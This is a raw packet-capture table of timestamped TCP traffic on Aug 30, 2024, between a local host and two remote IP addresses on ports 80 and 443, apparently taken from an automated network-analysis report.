Aug 30, 2024 06:17:06.184138060 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184143066 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.184148073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184170961 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.184195042 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.184218884 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184227943 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184236050 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184246063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184254885 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184262991 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.184288979 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.184324980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184334040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184341908 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184351921 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184360981 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184370041 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184372902 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.184379101 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.184395075 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.184417963 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.184434891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184444904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184454918 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184463024 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184478045 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.184503078 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.184525013 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184533119 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184547901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184557915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184565067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184571028 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.184592962 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.184602976 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.184624910 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184633970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184643030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184650898 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.184669971 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.184691906 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.186124086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186146975 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186156034 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186163902 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.186180115 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.186191082 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186239004 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186248064 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186256886 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186265945 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186275005 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186283112 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.186299086 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.186323881 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.186356068 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186367035 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186374903 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186399937 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.186418056 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.186446905 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186455965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186465025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186472893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186481953 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186490059 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.186517954 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.186578035 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186587095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186597109 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186605930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186615944 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186623096 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.186626911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.186641932 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.186662912 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.191951036 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.191960096 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.191968918 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.191997051 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192007065 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192022085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192030907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192040920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192050934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192076921 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192096949 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192141056 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192151070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192161083 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192173958 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192182064 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192209959 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192233086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192243099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192250967 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192259073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192267895 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192272902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192276955 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192289114 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192315102 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192401886 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192410946 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192420006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192430019 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192440987 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192447901 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192450047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192454100 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192461014 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192468882 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192502022 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192615032 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192624092 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192632914 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192641973 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192651033 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192660093 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192662001 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192671061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192677975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192679882 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192689896 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192696095 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192698956 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192708969 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192713022 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192733049 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192759037 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192769051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192778111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192795038 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192802906 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192806959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192814112 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192815065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192835093 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192845106 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192914963 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192924976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192935944 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.192959070 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.192989111 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.193010092 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193020105 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193028927 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193054914 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.193065882 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.193120003 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193130970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193139076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193147898 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193157911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193164110 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.193176985 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193186998 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.193186998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193195105 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193205118 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.193218946 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193223000 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.193228006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193239927 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193264008 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.193273067 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.193289995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193300962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193309069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193336010 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.193351030 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.193422079 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193430901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193440914 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193449020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193459988 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193469048 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193470001 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.193480015 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193501949 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.193516016 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.193527937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193537951 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.193573952 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.220369101 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.220385075 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.220460892 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.220468998 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.220503092 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.220720053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.220730066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.220737934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.220746040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.220765114 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.220818043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.220819950 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.220906019 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.220916033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.220931053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.220966101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.220966101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.221050024 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.221062899 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.221108913 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.221117020 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.221151114 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.221359968 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.221373081 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.221411943 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.221417904 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.221441984 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.221462965 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.221731901 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.221752882 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.221787930 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.221793890 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.221813917 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.221832037 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.222088099 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.222104073 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.222157955 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.222165108 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.222203970 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.222507954 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.222522974 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.222569942 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.222577095 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.222613096 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.222755909 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.222769022 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.222824097 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.222830057 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.222863913 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.223042011 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.223057032 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.223104954 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.223112106 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.223143101 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.258615971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.258626938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.258641958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.258683920 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.258708000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.258774042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.258784056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.258793116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.258804083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.258814096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.258822918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.258836031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.258845091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.258858919 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.258858919 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.258858919 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.258878946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.258893967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.258903027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.258910894 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.258913994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.258924007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.258934021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.258943081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.258958101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.258958101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.258958101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.258981943 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259002924 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259013891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259094000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259094954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259104967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259113073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259125948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259135962 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259145021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259150982 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259150982 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259179115 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259278059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259288073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259296894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259308100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259320021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259330034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259341002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259351015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259358883 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259358883 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259358883 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259385109 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259432077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259442091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259450912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259462118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259478092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259488106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259490013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259490013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259499073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259510040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259520054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259537935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259537935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259560108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259603977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259681940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259706974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259716988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259726048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259737968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259747982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259757996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259768009 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259768009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259778976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259783030 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259789944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259795904 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259831905 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259831905 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259846926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259864092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259874105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259884119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.259903908 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259903908 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259926081 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259926081 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.259990931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.260001898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.260014057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.260025024 CEST	80	49733	147.45.44.104	192.168.2.4
